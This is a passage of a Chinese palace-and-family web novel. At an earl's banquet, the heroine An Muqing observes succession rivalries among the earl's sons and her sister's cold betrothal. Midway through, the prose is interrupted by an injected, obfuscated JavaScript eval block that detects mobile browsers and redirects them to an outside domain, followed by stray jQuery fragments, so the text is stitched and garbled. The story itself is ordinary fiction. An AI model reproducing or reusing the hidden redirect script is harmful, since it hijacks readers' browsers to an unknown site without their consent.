赵玉娆眼睛一亮：“陆三公子啊！他可是京城有名的才子，去年秋闱中了举人，据说文章写得极好。为人也谦和有礼，从不仗势欺人。”她说着叹了口气，“可惜是个庶出，要不然以他的才学，将来继承伯府二房也不是没可能。”
姜培之盯着安慕青，一点儿也不觉得自己此举无礼，桃花眼含着笑道：“他母亲原是平安伯府二老爷的妾，生下他不久便撒手人寰。二夫人因膝下无子，便将他记在名下抚养。这些年来，陆明修在平安伯跟前当差办事，竟比大房正经的嫡出公子还得伯爷青眼。虽说给了名分，终究……”
“庶子……”安慕青轻声重复，若有所思。
赵玉娆突然压低声音：“我听说，陆三公子和苏姑娘是青梅竹马，两人早有情愫。只是碍于身份，一直不敢表露。现在伯爷给他定了安大小姐这门亲事……”
思及此，赵玉娆想起陆明修与安慕兰的亲事，吐了吐舌头，没再说下去。
安慕青垂眸看着茶盏中漂浮的茶叶。看来安慕兰的这门亲事，背后还有这么多弯弯绕绕。一个心有所属的庶子，一个骄纵的表妹，再加上个柔弱可怜的西席之女……
“安小姐似乎对陆三公子很感兴趣？”姜培之似笑非笑地问。
安慕青抬眼看他：“只是好奇罢了。毕竟……他将来可能是我姐夫。”
姜培之意味深长地“哦”了一声，见安慕青不接话，故意凑近了些：“安小姐这般关心未来姐夫，莫不是……”
“世子慎言。”安慕青淡淡打断，端起茶盏抿了一口。
赵玉娆眨巴着眼睛看着两人，总觉得这气氛有些微妙，却又说不上来哪里奇怪。她正想开口缓和一下，外间传来丫鬟的通传声：“宴席已备好，请各位贵人移步花厅。”
众人陆续入席。安慕青被安排在靠后的位置，与几位品级较低的官家小姐同坐。
柳如烟却故意拉着安慕兰坐到了前排显眼处，时不时朝安慕青投来挑衅的目光。
“安大小姐，”柳如烟刻意提高声音，“你这位妹妹可真是了不得，今日又出尽风头呢！”
安慕兰故作无奈地叹了口气：“我这妹妹自小就特立独行，三年前离家出走，在江湖上混迹，如今回来也是我行我素。让柳小姐见笑了。”
“江湖上？”柳如烟夸张地掩嘴，“难怪这般粗鲁，竟当众跳水救人，也不怕失了体统。”
这番话看似维护，实则暗指安慕青粗鄙无礼。席间几位小姐掩嘴轻笑，看向安慕青的眼神更加轻蔑。
安慕青不紧不慢地夹了一筷子清蒸鲈鱼：“多谢大姐关心。不过……”她抬眼看向柳如烟，意有所指，“有些人表面亲近，背地里打的什么主意，可就难说了。”
柳如烟脸色一变：“你这话什么意思？”
“随口一说罢了。”安慕青微微一笑，低头继续用膳。
安慕兰疑惑地看了看柳如烟，又看看安慕青，总觉得话里有话。柳如烟则心虚地别开眼，不敢与安慕兰对视。
赵氏坐在主桌，将这一切尽收眼底，却恍若未闻，只专心与平安伯夫人寒暄。倒是一旁的姜培之饶有兴趣地观察着安家姐妹的互动，眼中闪过一丝玩味。
宴席进行到一半，陆明修起身向各位宾客敬酒。当他走到安慕兰面前时，礼节性地说了几句客套话，眼神却始终没有温度。安慕青注意到，他的目光时不时飘向偏厅方向——那里是身体不适的苏婉休息的地方。
“陆三公子，”安慕兰红着脸起身回礼，“听闻您近日在准备春闱，不知……”
“多谢安小姐关心。”陆明修冷淡地打断，“在下还有宾客要招呼，失礼了。”
安慕兰尴尬地站在原地，手中的酒杯微微发抖。柳如烟连忙上前打圆场：“表哥就是太用功了，连说话都这么简短。安大小姐别往心里去。”
安慕青看着这一幕，心中暗笑。她这个眼高于顶的嫡姐，怕是还不知道自己未来的夫婿心里装着别人，连表面功夫都懒得做呢。
安慕兰勉强维持着笑容，顺势转移话题：“柳妹妹，怎么不见陆小姐来参加宴会？”
她口中的“陆小姐”也就是平安伯府的嫡女陆锦绣，现年十六，还未出嫁。
柳如烟撇了撇嘴，语气中带着几分不耐烦：“表姐身子不适，在房里歇着呢。说来也怪，这一年她总是隔三差五地生病，请了多少大夫都不见好。”
安慕兰本就是为了缓解尴尬才问的，见柳如烟这般态度，也就客气地说了句“希望陆小姐早日康复”，便不再多问。
安慕青在一旁默默听着，心中却升起一丝疑惑。既然平安伯府嫡女身体抱恙，为何还要大张旗鼓地举办宴会？
这不合常理。
安慕青抬眼环顾四周，发现宴席上多是年轻公子小姐，平安伯夫妇虽然在场，却明显心不在焉，时不时低声交谈着什么。
“在想什么？”姜培之不知何时走到了她身旁，顺着她的目光看去。
“平安伯府嫡女病了多久？”安慕青低声问道。
姜培之挑眉笑道：“怎么突然问这个？”
“只是觉得奇怪。”安慕青轻声道，“嫡女病着，府上却大办宴席，不合常理。”
姜培之若有所思地看了她一眼：“陆锦绣确实病了有段时日了。据说……”他压低声音，“是从去年冬天开始的，症状古怪，时好时坏。”
正说着，一个丫鬟匆匆跑到平安伯夫人身边，附耳说了几句。
伯夫人脸色骤变，立即起身告罪离席。平安伯也很快跟了出去，只留下管家招呼宾客。
宴席上的宾客们面面相觑，议论声渐起。
没过多久，平安伯重新出现在宴席上，脸上已经恢复了从容的神色。他带着陆明修穿梭于各位官员之间，言谈间尽是夸赞之词。
“明修这孩子虽说是庶出，但天资聪颖，去年秋闱的成绩在京城都是数得着的。”平安伯拍着陆明修的肩膀，向兵部侍郎介绍道。
陆明修低眉顺目地行礼，姿态恭敬得挑不出半点错处。
但安慕青敏锐地注意到，他垂下的眼睫遮掩着一闪而逝的讥诮。
当平安伯转身时，陆明修的手指无意识地摩挲着腰间玉佩——那是块成色普通的青玉，与满身华服格格不入。
在不远处，平安伯的两个嫡子——陆明德和陆明远正阴沉着脸，手中的酒杯都快捏碎了。
“父亲近来对三弟倒是上心。”不远处，陆明德冷笑着将酒杯重重搁在案几上。这位嫡长子约莫二十五六岁，面容与平安伯有七分相似，却多了几分阴鸷。</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16269315|182233||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
陆明远年纪稍轻，闻言立刻附和：“可不是？连今日这样的场合都带着他四处引荐。”他眯眼看向人群中的陆明修，“一个二房的庶子，也配……”
“慎言！”陆明德压低声音呵斥，眼神却同样阴冷，“今日宾客众多，别让人看了笑话。”他转动着拇指上的翡翠扳指，那是平安伯府嫡子的象征，“不过……父亲近来确实反常。”
安慕青顺着他们的视线望去，发现平安伯正带着陆明修向几位朝中重臣敬酒。
那些大臣们虽然客气回礼，眼中的轻蔑却掩饰不住——在这个嫡庶分明的世道，庶子终究上不得台面。
“听说父亲要把城西的庄子给三弟。”陆明远咬牙切齿，“那可是府里最肥的产业！”
陆明德冷笑一声：“急什么？鹿死谁手还不一定……”话说到一半突然噤声，警惕地环顾四周。
安慕青将这一幕尽收眼底。她转头看了眼正在与几位小姐寒暄的安慕兰，心中暗叹。
自己这个嫡姐一门心思攀高枝，却不知这桩婚事背后暗潮汹涌——一个不受宠的庶子，两个心怀不满的嫡兄，再加上个病弱的嫡姐和明显偏心的伯爷。
这平安伯府的水，怕是比安慕兰想象的要深得多。
宴席另一侧，安慕兰正被几位闺秀围着奉承。她今日特意穿了新制的绯色罗裙，发间金步摇随着动作轻轻晃动，显然是为在未婚夫面前展示。可惜陆明修自始至终都没往她这边多看一眼。
“安大小姐好福气啊。”柳如烟亲热地挽着安慕兰的手臂，眼睛却盯着远处的陆明修，“三表哥能得姑父这般看重，将来前程必定不差。”
安慕兰笑容微僵：“柳妹妹说笑了。婚姻大事，父母之命媒妁之言，我……”
“哎呀，姐姐何必说这些场面话。”柳如烟打断她，声音甜得发腻，“我可是听说，三表哥书房里收着好些诗集，都是写给心上人的呢，姐姐好福气啊！”
话虽如此，她却意有所指地瞥了眼偏厅方向——苏婉正在那里休息。
安慕兰手中的帕子绞得更紧，强撑着笑容：“柳妹妹真会开玩笑。”
安慕青将这一切尽收眼底，心中冷笑。
直到宴席结束，伯夫人都没有再露面。临别时，管家代为传话，说是夫人突感不适，不能亲自送客。
安慕青注意到，说这话时，管家的眼神闪烁，额角还渗着细密的汗珠。
回府的马车上，赵氏难得地对安慕青和颜悦色：“今日你表现得不错，没给府里丢脸。”她顿了顿，指尖轻轻敲打着车窗框，“平安伯对陆三公子颇为看重，这门亲事对你姐姐来说是好事。”
安慕青垂眸应是，纤长的睫毛在脸上投下一片阴影。
她脑海中浮现出宴席上的一幕幕：平安伯带着陆明修周旋于达官显贵之间的热络，与对待两个嫡子的冷淡形成鲜明对比；陆明德在父亲夸赞庶弟时，手中酒杯几乎捏碎的狰狞；陆明远眼中掩藏不住的嫉恨……这些细节在她心中串联成线，勾勒出平安伯府暗流涌动的家族纷争。
“女儿明白。”她轻声回应，语气平静得听不出任何情绪。
赵氏满意地点点头，转而看向闷闷不乐的安慕兰。这位嫡长女自离开伯府就一言不发，精心描画的柳叶眉紧紧蹙在一起。